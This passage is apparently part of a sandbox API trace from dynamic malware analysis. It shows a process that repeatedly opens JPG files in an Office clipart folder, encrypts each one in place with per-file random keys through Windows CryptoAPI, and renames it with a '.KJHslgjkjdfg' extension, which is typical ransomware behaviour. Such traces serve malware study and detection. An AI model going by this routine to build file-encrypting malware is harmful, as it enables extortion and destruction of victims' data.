returned 1 [0213.426] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.426] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.426] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.427] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e7b, lpOverlapped=0x0) returned 1 [0213.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80) returned 1 [0213.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e80, lpOverlapped=0x0) returned 1 [0213.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.428] SetEndOfFile (hFile=0x130) returned 1 [0213.431] GetProcessHeap () returned 0x2ef0000 [0213.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.431] GetProcessHeap () returned 0x2ef0000 [0213.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.kjhslgjkjdfg")) returned 1 [0213.433] CloseHandle (hObject=0x130) returned 1 [0213.433] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0213.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.435] GetProcessHeap () returned 0x2ef0000 [0213.436] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.436] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.436] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0213.438] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.438] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.438] GetProcessHeap () returned 0x2ef0000 [0213.438] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.438] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.438] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.438] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.438] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.439] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.439] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.439] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.439] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.439] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3615, lpOverlapped=0x0) returned 1 [0213.440] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3620, dwBufLen=0x3620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3620) returned 1 [0213.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.440] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3620, lpOverlapped=0x0) returned 1 [0213.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.441] SetEndOfFile (hFile=0x130) returned 1 [0213.444] GetProcessHeap () returned 0x2ef0000 [0213.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.444] GetProcessHeap () returned 0x2ef0000 [0213.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.kjhslgjkjdfg")) returned 1 [0213.445] CloseHandle (hObject=0x130) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0213.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.448] GetProcessHeap () returned 0x2ef0000 [0213.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.448] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.448] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0213.451] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.451] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.451] GetProcessHeap () returned 0x2ef0000 [0213.451] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.451] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.451] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.451] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.451] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.451] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.452] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.452] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.452] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2026, lpOverlapped=0x0) returned 1 [0213.453] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030, dwBufLen=0x2030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030) returned 1 [0213.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.453] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2030, lpOverlapped=0x0) returned 1 [0213.453] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.453] SetEndOfFile (hFile=0x130) returned 1 [0213.456] GetProcessHeap () returned 0x2ef0000 [0213.456] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.456] GetProcessHeap () returned 0x2ef0000 [0213.456] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.kjhslgjkjdfg")) returned 1 [0213.458] CloseHandle (hObject=0x130) returned 1 [0213.458] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0213.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.459] GetProcessHeap () returned 0x2ef0000 [0213.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.459] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0213.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.466] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.466] GetProcessHeap () returned 0x2ef0000 [0213.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.466] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.467] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.467] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.467] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3df7, lpOverlapped=0x0) returned 1 [0213.468] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e00) returned 1 [0213.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.468] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3e00, lpOverlapped=0x0) returned 1 [0213.469] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.469] SetEndOfFile (hFile=0x130) returned 1 [0213.471] GetProcessHeap () returned 0x2ef0000 [0213.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.472] GetProcessHeap () returned 0x2ef0000 [0213.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.kjhslgjkjdfg")) returned 1 [0213.473] CloseHandle (hObject=0x130) returned 1 [0213.473] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0213.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.474] GetProcessHeap () returned 0x2ef0000 [0213.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.475] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.475] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0213.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.477] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.477] GetProcessHeap () returned 0x2ef0000 [0213.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.477] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.477] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.478] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.478] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.478] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.478] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, 